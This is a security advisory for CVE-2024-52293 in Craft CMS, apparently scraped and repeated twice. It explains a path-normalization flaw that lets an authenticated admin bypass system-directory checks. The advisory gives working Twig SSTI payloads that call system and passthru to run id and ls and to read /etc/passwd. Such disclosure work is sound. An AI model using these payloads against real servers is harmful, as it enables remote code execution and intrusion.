CVE-2024-52293

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see…

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see…